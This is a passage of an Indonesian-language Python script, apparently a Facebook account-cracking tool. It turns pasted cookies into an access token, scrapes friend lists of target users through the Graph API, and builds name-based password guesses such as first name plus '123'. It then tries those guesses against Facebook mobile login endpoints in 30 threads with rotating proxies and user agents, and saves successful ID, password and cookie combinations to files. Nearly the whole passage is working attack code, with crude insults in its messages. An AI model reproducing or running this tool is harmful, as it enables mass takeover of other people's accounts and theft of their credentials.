  356.                     action = re.search('action="(.*?)">', str(response2)).group(1).replace('amp;', '')
  357.                     fb_dtsg = re.search('name="fb_dtsg" value="(.*?)"', str(response2)).group(1)
  358.                     jazoest = re.search('name="jazoest" value="(\d+)"', str(response2)).group(1)
  359.                     data = {'fb_dtsg': fb_dtsg,'jazoest': jazoest,'qr': 0,'user_code': user_code,}
  360.                     r.headers.update({'origin': 'https://m.facebook.com','referer': verification_url,'content-type': 'application/x-www-form-urlencoded','sec-fetch-site': 'same-origin',})
  361.                     response3 = r.post('https://m.facebook.com{}'.format(action), data = data, cookies = {'cookie': your_cookies})
  362.                     if 'https://m.facebook.com/dialog/oauth/?auth_type=rerequest&redirect_uri=' in str(response3.url):
  363.                         r.headers.pop('content-type');r.headers.pop('origin')
  364.                         response4 = r.post(response3.url, data = data, cookies = {'cookie': your_cookies}).text
  365.                         action = re.search('action="(.*?)"', str(response4)).group(1).replace('amp;', '')
  366.                         fb_dtsg = re.search('name="fb_dtsg" value="(.*?)"', str(response4)).group(1)
  367.                         jazoest = re.search('name="jazoest" value="(\d+)"', str(response4)).group(1)
  368.                         scope = re.search('name="scope" value="(.*?)"', str(response4)).group(1)
  369.                         display = re.search('name="display" value="(.*?)"', str(response4)).group(1)
  370.                         user_code = re.search('name="user_code" value="(.*?)"', str(response4)).group(1)
  371.                         logger_id = re.search('name="logger_id" value="(.*?)"', str(response4)).group(1)
  372.                         auth_type = re.search('name="auth_type" value="(.*?)"', str(response4)).group(1)
  373.                         encrypted_post_body = re.search('name="encrypted_post_body" value="(.*?)"', str(response4)).group(1)
  374.                         return_format = re.search('name="return_format\\[\\]" value="(.*?)"', str(response4)).group(1)
  375.                         r.headers.update({'origin': 'https://m.facebook.com','referer': response3.url,'content-type': 'application/x-www-form-urlencoded',})
  376.                         data = {'fb_dtsg': fb_dtsg,'jazoest': jazoest,'scope': scope,'display': display,'user_code': user_code,'logger_id': logger_id,'auth_type': auth_type,'encrypted_post_body': encrypted_post_body,'return_format[]': return_format,}
  377.                         response5 = r.post('https://m.facebook.com{}'.format(action), data = data, cookies = {'cookie': your_cookies}).text
  378.                         windows_referer = re.search('window.location.href="(.*?)"', str(response5)).group(1).replace('\\', '')
  379.                         r.headers.pop('content-type');r.headers.pop('origin')
  380.                         r.headers.update({'referer': 'https://m.facebook.com/',})
  381.                         response6 = r.get(windows_referer, cookies = {'cookie': your_cookies}).text
  382.                         if 'Sukses!' in str(response6):
  383.                             r.headers.update({'sec-fetch-mode': 'no-cors','referer': 'https://graph.facebook.com/','Host': 'graph.facebook.com','accept': '*/*','sec-fetch-dest': 'script','sec-fetch-site': 'cross-site',})
  384.                             response7 = r.get(status_url, cookies = {'cookie': your_cookies}).text
  385.                             access_token = re.search('"access_token": "(.*?)"', str(response7)).group(1)
  386.                             print(f"\n ├╴>  Token : {access_token}")
  387.                             tokenew = open(".token.txt","w").write(access_token)
  388.                             cook= open(".cok.txt","w").write(your_cookies)
  389.                             print("\n ├╴>  Login Berhasil Jalankan Ulang Perintah Python nya");exit()
  390.             except Exception as e:
  391.                 print(" ├╴>  Cookies Mokad Kontol")
  392.                 os.system('rm -rf .cok.txt && rm -rf .token.txt')
  393.                 print(e)
  394.                 time.sleep(3)
  395.                 back()
  396.     except:pass
  397. #------------------[ BAGIAN-MENU ]----------------#
  398. def menu(my_name,my_id):
  399.     try:
  400.         token = open('.token.txt','r').read()
  401.         cok = open('.cok.txt','r').read()
  402.     except IOError:
  403.         print('[×] Cookies Kadaluarsa ')
  404.         time.sleep(5)
  405.         login_lagi334()
  406.     os.system('clear')
  407.     banner()
  408.     ip = requests.get("https://api.ipify.org").text
  409.     print(f'{h}')
  410.     print(f'[√] Your Idz : '+str(my_id))
  411.     print(f'[√] Your Ip  : {ip}')
  412.     print(f'{puti}')
  413.     print('├> 01 Crack Publik ')
  414.     print('├> 02 Crack Follower ')
  415.     print('├> 03 Crack Grup   ')
  416.     print('├> 04 Crack File   ')
  417.     print('├> 00 Keluar  ')
  418.     _____dhanz__kulbet_____ = input('\n╰─◕➤ Pilih : ')
  419.     if _____dhanz__kulbet_____ in ['1']:
  420.         dump_massal()
  421.     elif _____dhanz__kulbet_____ in ['2']:
  422.         crack_file()
  423.     elif _____dhanz__kulbet_____ in ['3']:
  424.         result()
  425.     elif _____dhanz__kulbet_____ in ['4']:
  426.         file_cp()
  427.     elif _____dhanz__kulbet_____ in ['0']:
  428.         os.system('rm -rf .token.txt')
  429.         os.system('rm -rf .cookie.txt')
  430.         print('☞ Sukses Logout+Hapus Kukis ')
  431.         exit()
  432.     else:
  433.         print('╰─◕➤ Pilih Yang Bener Asu ')
  434.         back()
  435. def error():
  436.     print(f'{k}╰─◕➤ Maaf Fitur Ini Masih Di Perbaiki {x}')
  437.     time.sleep(4)
  438.     back()
  439. #-----------------[ HASIL-CRACK ]-----------------#
  440. def result():
  441.     print(f'├> Hasil {h}OK{x} Anda ')
  442.     print(f'├> Hasil {k}CP{x} Anda ')
  443.     print(f'├> Kembali    ')
  444.     kz = input(f'\n╰─◕➤ Pilih : ')
  445.     if kz in ['2']:
  446.         try:vin = os.listdir('CP')
  447.         except FileNotFoundError:
  448.             print('╰─◕➤ File Tidak Di Temukan ')
  449.             time.sleep(3)
  450.             back()
  451.         if len(vin)==0:
  452.             print('╰─◕➤ Anda Tidak Memiliki Hasil CP ')
  453.             time.sleep(2)
  454.             back()
  455.         else:
  456.             cih = 0
  457.             lol = {}
  458.             for isi in vin:
  459.                 try:hem = open('CP/'+isi,'r').readlines()
  460.                 except:continue
  461.                 cih+=1
  462.                 if cih<10:
  463.                     nom = ''+str(cih)
  464.                     lol.update({str(cih):str(isi)})
  465.                     lol.update({nom:str(isi)})
  466.                     print(f'☞ %s. %s ({k} %s {x}Idz )'%(nom,isi,len(hem)))
  467.                 else:
  468.                     lol.update({str(cih):str(isi)})
  469.                     print('['+str(cih)+'] '+isi+' [ '+str(len(hem))+' Account ]'+x)
  470.             geeh = input('[*] Pilih : ')
  471.             try:geh = lol[geeh]
  472.             except KeyError:
  473.                 print('╰─◕➤ Pilih Yang Bener Kontol ')
  474.                 back()
  475.             try:lin = open('CP/'+geh,'r').read().splitlines()
  476.             except:
  477.                 print('╰─◕➤ File Tidak Di Temukan ')
  478.                 time.sleep(2)
  479.                 back()
  480.             nocp=0
  481.             for cpku in range(len(lin)):
  482.                 cpkuni=lin[nocp].split('|')
  483.                 print(f'{x}☞ {k}{cpkuni[0]}|{cpkuni[1]}')
  484.                 nocp +=1
  485.             print('')
  486.             input(f'{x}[{m} Klik Enter{x} ]')
  487.             back()
  488.     elif kz in ['1']:
  489.         try:vin = os.listdir('OK')
  490.         except FileNotFoundError:
  491.             print('╰─◕➤ File Tidak Di Temukan ')
  492.             time.sleep(2)
  493.             back()
  494.         if len(vin)==0:
  495.             print('╰─◕➤ Anda Tidak Mempunyai File OK ')
  496.             time.sleep(2)
  497.             back()
  498.         else:
  499.             cih = 0
  500.             lol = {}
  501.             for isi in vin:
  502.                 try:hem = open('OK/'+isi,'r').readlines()
  503.                 except:continue
  504.                 cih+=1
  505.                 if cih<10:
  506.                     nom = '0'+str(cih)
  507.                     lol.update({str(cih):str(isi)})
  508.                     lol.update({nom:str(isi)})
  509.                     print(f'╰─◕➤ %s. %s ( {h}%s{x} Idz )'%(nom,isi,len(hem)))
  510.                 else:
  511.                     lol.update({str(cih):str(isi)})
  512.                     print(f'╰─◕➤ %s. %s ({h} %s {x}Idz )'%(cih,isi,(len(hem))))
  513.             geeh = input(f'\n╰─◕➤ Pilih : ')
  514.             try:geh = lol[geeh]
  515.             except KeyError:
  516.                 print('╰─◕➤ Pilih Yang Bener Kontol ')
  517.                 back()
  518.             try:lin = open('OK/'+geh,'r').read().splitlines()
  519.             except:
  520.                 print('╰─◕➤ File Tidak Di Temukan ')
  521.                 time.sleep(2)
  522.                 back()
  523.             nocp=0
  524.             for cpku in range(len(lin)):
  525.                 cpkuni=lin[nocp].split('|')
  526.                 print('')
  527.                 print(f'{x}╰─◕➤ {h}{cpkuni[0]}|{cpkuni[1]}|{cpkuni[2]}')
  528.                 nocp +=1
  529.             print('')
  530.             input(f'{x}[{m} ╰─◕➤ Klik Enter{x} ]')
  531.             back()
  532.     elif kz in ['3']:
  533.         back()
  534.     else:
  535.         print('╰─◕➤ Pilih Yang Bener Kontol ')
  536.         back()
  537. #-------------------[ CRACK-PUBLIK ]----------------#
  538. def dump_massal():
  539.     try:
  540.         token = open('.token.txt','r').read()
  541.         cok = open('.cok.txt','r').read()
  542.     except IOError:
  543.         exit()
  544.     try:
  545.         jum = int(input('╰─◕➤ Mau Berapa Target ? : '))
  546.     except ValueError:
  547.         print('╰─◕➤ Masukkan Angka Anjing, Malah Huruff 🗿')
  548.         exit()
  549.     if jum<1 or jum>100:
  550.         print('╰─◕➤ Gagal Dump Idz ')
  551.         exit()
  552.     ses=requests.Session()
  553.     yz = 0
  554.     for met in range(jum):
  555.         yz+=1
  556.         kl = input('╰─◕➤ Masukkan Idz Yang Ke '+str(yz)+' : ')
  557.         uid.append(kl)
  558.     for userr in uid:
  559.         try:
  560.             col = ses.get('https://graph.facebook.com/v2.0/'+userr+'?fields=friends.limit(5000)&access_token='+tokenku[0], cookies = {'cookies':cok}).json()
  561.             for mi in col['friends']['data']:
  562.                 try:
  563.                     iso = (mi['id']+'|'+mi['name'])
  564.                     if iso in id:pass
  565.                     else:id.append(iso)
  566.                 except:continue
  567.         except (KeyError,IOError):
  568.             pass
  569.         except requests.exceptions.ConnectionError:
  570.             print('╰─◕➤ Sinyal Loh Kek Kontoll ')
  571.             exit()
  572.     try:
  573.         print('')
  574.         print(f'╰─◕➤ Total Idz Yang Terkumpul {h}'+str(len(id)))
  575.         setting()
  576.     except requests.exceptions.ConnectionError:
  577.         print(f'{x}')
  578.         print('╰─◕➤ Sinyal Lo kek Kontol ')
  579.         back()
  580.     except (KeyError,IOError):
  581.         print(f'╰─◕➤ {k} Pertemanan Tidak Public {x}')
  582.         time.sleep(3)
  583.         back()
  584. #-------------[ CRACK-FROM-FILE ]------------------#
  585. def crack_file():
  586.     try:vin = os.listdir('/sdcard/Dhanz-DUMP')
  587.     except FileNotFoundError:
  588.         print('╰─◕➤ File Tidak Ditemukan ')
  589.         time.sleep(2)
  590.         back()
  591.     if len(vin)==0:
  592.         print('')
  593.         cetak(nel('[white][[cyan]•[white]] Jika Ingin Menggunakan Fitur Ini Ikuti Syaratnya Dibawah Ini\n[[green]1[white]] Buatlah File Dump Id Terlebih dahulu\n[[green]2[white]] Setelah Jadi Masukkan Filenya Kedalam Folder[yellow] Dhanz-DUMP[white] di Penyimpanan Internal Kalian\n[[green]3[white]] Lalu Jalankan Ulang Scriptnya! Baru Pilih Fitur Nomor[yellow] 4 [white]ini '))
  594.         kontol = input('\n ╰─◕➤ Apakah Anda Faham ( Y/t ) ')
  595.         if kontol in ['']:
  596.             print('╰─◕➤ Pilih Yang Bener Asuhh ')
  597.         elif kontol in ['y','Y']:
  598.             print(f'\n[{h}√{x}] Alhamdulillah Anda Sungguh Pintarr ')
  599.             time.sleep(3)
  600.             back()
  601.         elif kontol in ['t','T']:
  602.             print(f'\n[{k}x{x}] Anda Sungguh Tolol ')
  603.             time.sleep(3)
  604.             exit()
  605.         print('╰─◕➤ Anda Tidak Memiliki File Dump ')
  606.         time.sleep(2)
  607.         back()
  608.     else:
  609.         cih = 0
  610.         lol = {}
  611.         for isi in vin:
  612.             try:hem = open('/sdcard/Dhanz-DUMP/'+isi,'r').readlines()
  613.             except:continue
  614.             cih+=1
  615.             if cih<100:
  616.                 nom = ''+str(cih)
  617.                 lol.update({str(cih):str(isi)})
  618.                 lol.update({nom:str(isi)})
  619.                 print(f'☞ %s. %s ({h} %s{x} idz )'%(nom,isi,len(hem)))
  620.             else:
  621.                 lol.update({str(cih):str(isi)})
  622.                 print('['+str(cih)+'] '+isi+' [ '+str(len(hem))+' Account ]'+x)
  623.                 print('╰─◕➤ %s. %s ({h} %s {x}idz) '%(cih,isi,len(hem)))
  624.         geeh = input('\n☞ Pilih : ')
  625.         try:geh = lol[geeh]
  626.         except KeyError:
  627.             print(f'{k}╰─◕➤ Pilih Yang Bener Kontol {x}')
  628.             time.sleep(3)
  629.             back()
  630.         try:lin = open('/sdcard/Dhanz-DUMP/'+geh,'r').read().splitlines()
  631.         except:
  632.             print('╰─◕➤ File Tidak Ditemukan, Coba Lagi Nanti ')
  633.             time.sleep(2)
  634.             back()
  635.         for xid in lin:
  636.             id.append(xid)
  637.         setting()
  638. #-------------[ PENGATURAN-IDZ ]---------------#
  639. def setting():
  640.     print(f'{puti}')
  641.     print('├> 01 Akun Tua (Not Recomend) ')
  642.     print('├> 02 Akun Muda (Lumayan) ')
  643.     print('├> 03 Random (Recomend) ')
  644.     print('')
  645.     hu = input('╰─◕➤ Pilih : ')
  646.     if hu in ['1','01']:
  647.         for tua in sorted(id):
  648.             id2.append(tua)
  649.  
  650.     elif hu in ['2','02']:
  651.         muda=[]
  652.         for bacot in sorted(id):
  653.             muda.append(bacot)
  654.         bcm=len(muda)
  655.         bcmi=(bcm-1)
  656.         for xmud in range(bcm):
  657.             id2.append(muda[bcmi])
  658.             bcmi -=1
  659.     elif hu in ['3','03']:
  660.         for bacot in id:
  661.             xx = random.randint(0,len(id2))
  662.             id2.insert(xx,bacot)
  663.     else:
  664.         print('╰─◕➤ Pilih Yang Bener Kontooll ')
  665.         exit()
  666.     print(f'')
  667.     print('├> 01 Mobile ')
  668.     print('├> 02 Free ')
  669.     print('├> 03 Mbasic ')
  670.     print('')
  671.     hc = input('╰─◕➤ Pilih : ')
  672.     if hc in ['1','01']:
  673.         method.append('mobile')
  674.     elif hc in ['']:
  675.         print('☞ Pilih Yang Bener Kontol ')
  676.         setting()
  677.     elif hc in ['2','02']:
  678.         method.append('free')
  679.     elif hc in ['3','03']:
  680.         method.append('mbasic')
  681.     else:
  682.         method.append('mobile')
  683.     print('')
  684.     pwplus=input('╰─◕➤ Tambahkan Password Manual ( y/t) ')
  685.     if pwplus in ['y','Ya']:
  686.         pwpluss.append('ya')
  687.         cetak(nel('[[cyan]•[white]] Masukkan Katasandi Tambahan Minimal 6 Karakter\n[[cyan]•[white]] Contoh :[green] Bandung,Jakarta,Karawang[white] '))
  688.         pwku=input('\x1b[0;34m╰─◕➤ Masukkan Password Tambahan : ')
  689.         pwkuh=pwku.split(',')
  690.         for xpw in pwkuh:
  691.             pwnya.append(xpw)
  692.     else:
  693.         pwpluss.append('no')
  694.     passwrd()
  695. #-------------------[ BAGIAN-WORDLIST ]------------#
  696. def passwrd():
  697.     print("")
  698.     print(f'')
  699.     print(f'├>  Hasil {h}OK{x} Tersimpan Di : {h}OK/%s {x}'%(okc))
  700.     print(f'├> Hasil {k}CP{x} Tersimpan Di : {k}CP/%s {x}'%(cpc))
  701.     print('')
  702.     print(f'╰─◕➤ ON/OFF Mode Pesawat Setiap 500 Idz')
  703.     print("")
  704.     with tred(max_workers=30) as pool:
  705.         for yuzong in id2:
  706.             idf,nmf = yuzong.split('|')[0],yuzong.split('|')[1].lower()
  707.             frs = nmf.split(' ')[0]
  708.             pwv = []
  709.             if len(nmf)<6:
  710.                 if len(frs)<3:
  711.                     pass
  712.                 else:
  713.                     pwv.append(frs+'01')
  714.                     pwv.append(frs+'12')
  715.                     pwv.append(frs+'123')
  716.                     pwv.append(frs+'1234')
  717.                     pwv.append(frs+'12345')
  718.                     pwv.append(frs+'321')
  719.             else:
  720.                 if len(frs)<3:
  721.                     pwv.append(nmf)
  722.                 else:
  723.                     pwv.append(nmf)
  724.                     pwv.append(frs+'01')
  725.                     pwv.append(frs+'12')
  726.                     pwv.append(frs+'123')
  727.                     pwv.append(frs+'1234')
  728.                     pwv.append(frs+'12345')
  729.                     pwv.append(frs+'321')
  730.             if 'ya' in pwpluss:
  731.                 for xpwd in pwnya:
  732.                     pwv.append(xpwd)
  733.             else:pass
  734.             if 'mobile' in method:
  735.                 pool.submit(crack,idf,pwv)
  736.             elif 'free' in method:
  737.                 pool.submit(crackfree,idf,pwv)
  738.             elif 'mbasic' in method:
  739.                 pool.submit(crackmbasic,idf,pwv)
  740.             else:
  741.                 pool.submit(cracktouch,idf,pwv)
  742.     print('')
  743.     cetak(nel('\t[blue] ☞[green] Crack Selesay , Hasil Hari Ini 🦈[blue] ☜ [white] '))
  744.     print(f'[{b}•{x}]{h} OK : {h}%s '%(ok))
  745.     print(f'{x}[{b}•{x}]{k} CP : {k}%s{x} '%(cp))
  746.     print('>>>Lanjut Crack Kembali ( Y/t ) ? ')
  747.     woi = input('☞ Pilih : ')
  748.     if woi in ['y','Y']:
  749.         back()
  750.     else:
  751.         print(f'\t{x}☞{b} Good Bye Dadaahh Jangan Lupa Bersukur{x} ☜ ')
  752.         time.sleep(2)
  753.         exit()
  754. #--------------------[ METODE MOBILE ]-----------------#
  755. def crack(idf,pwv):
  756.     global loop,ok,cp
  757.     bo = random.choice([m,k,h,b,u,x])
  758.     sys.stdout.write(f"\r 🖕😎🖕 𝕊ℙ𝕆𝕂𝕐-𝕏𝔻 🖕😎🖕      {P}{b}{loop}{P}/{u}{len(id)}{P} OK {P}{H}{ok}{P} CP {P}{k}{cp}{x} : {bo}{'{:.0%}'.format(loop/float(len(id)))}{P}  "),
  759.     sys.stdout.flush()
  760.     nip=random.choice(prox)
  761.     proxs= {'http': 'socks4://'+nip}
  762.     ua = random.choice(ugen)
  763.     ua2 = random.choice(ugen2)
  764.     ses = requests.Session()
  765.     for pw in pwv:
  766.         try:
  767.             ses.headers.update({'Host': 'm.facebook.com','cache-control': 'max-age=0','sec-ch-ua-mobile': '?1','upgrade-insecure-requests': '1','user-agent': ua,'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9','sec-fetch-site': 'same-origin','sec-fetch-mode': 'cors','sec-fetch-dest': 'empty','accept-language': 'id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7'})
  768.             p = ses.get('https://m.facebook.com/login/device-based/password/?uid='+idf+'&flow=login_no_pin&next=https%3A%2F%2Fm.facebook.com%2Fv2.3%2Fdialog%2Foauth%3Fapp_id%3D124024574287414%26cbt%3D1651658200978%26e2e%3D%257B%2522init%2522%253A1651658200978%257D%26sso%3Dchrome_custom_tab%26scope%3Demail%26state%3D%257B%25220_auth_logger_id%2522%253A%252268f15bae-23f8-463c-8660-5cf1226d97f6%2522%252C%25227_challenge%2522%253A%2522dahj28hqtietmhrgprpp%2522%252C%25223_method%2522%253A%2522custom_tab%2522%257D%26redirect_uri%3Dfbconnect%253A%252F%252Fcct.com.instathunder.app%26response_type%3Dtoken%252Csigned_request%252Cgraph_domain%252Cgranted_scopes%26return_scopes%3Dtrue%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3D68f15bae-23f8-463c-8660-5cf1226d97f6%26tp%3Dunspecified&cancel_url=fbconnect%3A%2F%2Fcct.com.instathunder.app%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3D%257B%25220_auth_logger_id%2522%253A%252268f15bae-23f8-463c-8660-5cf1226d97f6%2522%252C%25227_challenge%2522%253A%2522dahj28hqtietmhrgprpp%2522%252C%25223_method%2522%253A%2522custom_tab%2522%257D&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr')
  769.             dataa ={"lsd":re.search('name="lsd" value="(.*?)"', str(p.text)).group(1),"jazoest":re.search('name="jazoest" value="(.*?)"', str(p.text)).group(1),"uid":idf,"next":"https://m.facebook.com/v2.3/dialog/oauth?app_id=124024574287414&cbt=1651658200978&e2e=%7B%22init%22%3A1651658200978%7D&sso=chrome_custom_tab&scope=email&state=%7B%220_auth_logger_id%22%3A%2268f15bae-23f8-463c-8660-5cf1226d97f6%22%2C%227_challenge%22%3A%22dahj28hqtietmhrgprpp%22%2C%223_method%22%3A%22custom_tab%22%7D&redirect_uri=fbconnect%3A%2F%2Fcct.com.instathunder.app&response_type=token%2Csigned_request%2Cgraph_domain%2Cgranted_scopes&return_scopes=true&ret=login&fbapp_pres=0&logger_id=68f15bae-23f8-463c-8660-5cf1226d97f6&tp=unspecified","flow":"login_no_pin","pass":pw,}
  770.             koki = (";").join([ "%s=%s" % (key, value) for key, value in p.cookies.get_dict().items() ])
  771.             koki+=' m_pixel_ratio=2.625; wd=412x756'
  772.             heade={'Host': 'm.facebook.com','cache-control': 'max-age=0','sec-ch-ua': '" Not A;Brand";v="99", "Chromium";v="98"','sec-ch-ua-mobile': '?1','sec-ch-ua-platform': '"Android"','upgrade-insecure-requests': '1','origin': 'https://m.facebook.com','content-type': 'application/x-www-form-urlencoded','user-agent': ua,'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9','x-requested-with': 'XMLHttpRequest','sec-fetch-site': 'same-origin','sec-fetch-mode': 'cors','sec-fetch-dest': 'empty','referer': 'https://m.facebook.com/login/device-based/password/?uid='+idf+'&flow=login_no_pin&next=https%3A%2F%2Fm.facebook.com%2Fv2.3%2Fdialog%2Foauth%3Fapp_id%3D124024574287414%26cbt%3D1651658200978%26e2e%3D%257B%2522init%2522%253A1651658200978%257D%26sso%3Dchrome_custom_tab%26scope%3Demail%26state%3D%257B%25220_auth_logger_id%2522%253A%252268f15bae-23f8-463c-8660-5cf1226d97f6%2522%252C%25227_challenge%2522%253A%2522dahj28hqtietmhrgprpp%2522%252C%25223_method%2522%253A%2522custom_tab%2522%257D%26redirect_uri%3Dfbconnect%253A%252F%252Fcct.com.instathunder.app%26response_type%3Dtoken%252Csigned_request%252Cgraph_domain%252Cgranted_scopes%26return_scopes%3Dtrue%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3D68f15bae-23f8-463c-8660-5cf1226d97f6%26tp%3Dunspecified&cancel_url=fbconnect%3A%2F%2Fcct.com.instathunder.app%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3D%257B%25220_auth_logger_id%2522%253A%252268f15bae-23f8-463c-8660-5cf1226d97f6%2522%252C%25227_challenge%2522%253A%2522dahj28hqtietmhrgprpp%2522%252C%25223_method%2522%253A%2522custom_tab%2522%257D&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr','accept-encoding': 'gzip, deflate, br','accept-language': 'id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7'}
  773.             po = ses.post('https://m.facebook.com/login/device-based/validate-password/?shbl=0&locale2=id_ID',data=dataa,cookies={'cookie': koki},headers=heade,allow_redirects=False)
  774.             if "checkpoint" in po.cookies.get_dict().keys():
  775.                 print(f'\r{K} ID : {idf} PASWORD : {pw}{N}')    
  776.                 open('CP/'+cpc,'a').write(idf+'|'+pw+'\n')
  777.                 akun.append(idf+'|'+pw)
  778.                 cp+=1
  779.                 break
  780.             elif "c_user" in ses.cookies.get_dict().keys():
  781.                 ok+=1
  782.                 coki=po.cookies.get_dict()
  783.                 kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
  784.                 kukis = kuki.replace(f'c_user={idf};datr','sb')
  785.                 print(f'\r{H} ID : {idf} PASSWORD : {pw} COOKIES : {kukis}\n UGENT : {ua}{N}')
  786.                 open('OK/'+okc,'a').write(idf+'|'+pw+'|'+ua+'\n')
  787.                 cek_apk(kukis)
  788.                 break
  789.                
  790.             else:
  791.                 continue
  792.         except requests.exceptions.ConnectionError:
  793.             time.sleep(31)
  794.     loop+=1
  795.    
  796. #--------------------[ METODE FREE ]-----------------#
  797. def crackfree(idf,pwv):
  798.     global loop,ok,cp
  799.     bo = random.choice([m,k,h,b,u,x])
  800.     sys.stdout.write(f"\r 🖕😎🖕 𝕊ℙ𝕆𝕂𝕐-𝕏𝔻 🖕😎🖕      {P}{b}{loop}{P}/{u}{len(id)}{P} OK {P}{H}{ok}{P} CP {P}{k}{cp}{x} : {bo}{'{:.0%}'.format(loop/float(len(id)))}{P}  "),
  801.     sys.stdout.flush()
  802.     nip=random.choice(prox)
  803.     proxs= {'http': 'socks4://'+nip}
  804.     ua = random.choice(ugen)
  805.     ua2 = random.choice(ugen2)
  806.     ses = requests.Session()
  807.     for pw in pwv:
  808.         try:
  809.             if 'ya' in ualuh: ua = ualu[0]
  810.             nip=random.choice(prox)
  811.             proxs= {'http': 'socks5://'+nip}
  812.             ses.headers.update({'Host': 'free.facebook.com','cache-control': 'max-age=0','sec-ch-ua-mobile': '?1','upgrade-insecure-requests': '1','user-agent': ua2,'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9','sec-fetch-site': 'same-origin','sec-fetch-mode': 'cors','sec-fetch-dest': 'empty','accept-language': 'id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7'})
  813.             p = ses.get('https://free.facebook.com/login/device-based/password/?uid='+idf+'&flow=login_no_pin&next=https%3A%2F%2Fmobile.facebook.com%2Fv14.0%2Fdialog%2Foauth%3Fapp_id%3D1722713787887984%26cbt%3D1676027180738%26channel_url%3Dhttps%253A%252F%252Fstaticxx.facebook.com%252Fx%252Fconnect%252Fxd_arbiter%252F%253Fversion%253D46%2523cb%253Df363b0a73c19804%2526domain%253Dwww.bilibili.tv%2526is_canvas%253Dfalse%2526origin%253Dhttps%25253A%25252F%25252Fwww.bilibili.tv%25252Ff20019dbd9069f8%2526relation%253Dopener%26client_id%3D1722713787887984%26display%3Dtouch%26domain%3Dwww.bilibili.tv%26e2e%3D%257B%257D%26fallback_redirect_uri%3Dhttps%253A%252F%252Fwww.bilibili.tv%252Fid%252F%26locale%3Den_US%26logger_id%3Df3d20d066ff6254%26origin%3D2%26redirect_uri%3Dhttps%253A%252F%252Fstaticxx.facebook.com%252Fx%252Fconnect%252Fxd_arbiter%252F%253Fversion%253D46%2523cb%253Df14522bfee17014%2526domain%253Dwww.bilibili.tv%2526is_canvas%253Dfalse%2526origin%253Dhttps%25253A%25252F%25252Fwww.bilibili.tv%25252Ff20019dbd9069f8%2526relation%253Dopener%2526frame%253Df185d306bc50d08%26response_type%3Dtoken%252Csigned_request%252Cgraph_domain%26sdk%3Djoey%26version%3Dv14.0%26ret%3Dlogin%26fbapp_pres%3D0%26tp%3Dunspecified&cancel_url=https%3A%2F%2Fstaticxx.facebook.com%2Fx%2Fconnect%2Fxd_arbiter%2F%3Fversion%3D46%23cb%3Df14522bfee17014%26domain%3Dwww.bilibili.tv%26is_canvas%3Dfalse%26origin%3Dhttps%253A%252F%252Fwww.bilibili.tv%252Ff20019dbd9069f8%26relation%3Dopener%26frame%3Df185d306bc50d08%26error%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdc=1&_rdr')
  814.             dataa ={"lsd":re.search('name="lsd" value="(.*?)"', str(p.text)).group(1),"jazoest":re.search('name="jazoest" value="(.*?)"', str(p.text)).group(1),"uid":idf,"next":"https://free.facebook.com/login.php?skip_api_login=1&api_key=1722713787887984&kid_directed_site=0&app_id=1722713787887984&signed_next=1&next=https%3A%2F%2Fmobile.facebook.com%2Fv14.0%2Fdialog%2Foauth%3Fapp_id%3D1722713787887984%26cbt%3D1676027180738%26channel_url%3Dhttps%253A%252F%252Fstaticxx.facebook.com%252Fx%252Fconnect%252Fxd_arbiter%252F%253Fversion%253D46%2523cb%253Df363b0a73c19804%2526domain%253Dwww.bilibili.tv%2526is_canvas%253Dfalse%2526origin%253Dhttps%25253A%25252F%25252Fwww.bilibili.tv%25252Ff20019dbd9069f8%2526relation%253Dopener%26client_id%3D1722713787887984%26display%3Dtouch%26domain%3Dwww.bilibili.tv%26e2e%3D%257B%257D%26fallback_redirect_uri%3Dhttps%253A%252F%252Fwww.bilibili.tv%252Fid%252F%26locale%3Den_US%26logger_id%3Df3d20d066ff6254%26origin%3D2%26redirect_uri%3Dhttps%253A%252F%252Fstaticxx.facebook.com%252Fx%252Fconnect%252Fxd_arbiter%252F%253Fversion%253D46%2523cb%253Df14522bfee17014%2526domain%253Dwww.bilibili.tv%2526is_canvas%253Dfalse%2526origin%253Dhttps%25253A%25252F%25252Fwww.bilibili.tv%25252Ff20019dbd9069f8%2526relation%253Dopener%2526frame%253Df185d306bc50d08%26response_type%3Dtoken%252Csigned_request%252Cgraph_domain%26sdk%3Djoey%26version%3Dv14.0%26ret%3Dlogin%26fbapp_pres%3D0%26tp%3Dunspecified&cancel_url=https%3A%2F%2Fstaticxx.facebook.com%2Fx%2Fconnect%2Fxd_arbiter%2F%3Fversion%3D46%23cb%3Df14522bfee17014%26domain%3Dwww.bilibili.tv%26is_canvas%3Dfalse%26origin%3Dhttps%253A%252F%252Fwww.bilibili.tv%252Ff20019dbd9069f8%26relation%3Dopener%26frame%3Df185d306bc50d08%26error%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdc=1&_rdr","flow":"login_no_pin","pass":pw,}
  815.             koki = (";").join([ "%s=%s" % (key, value) for key, value in p.cookies.get_dict().items() ])
  816.             koki+=' m_pixel_ratio=2.625; wd=412x756'
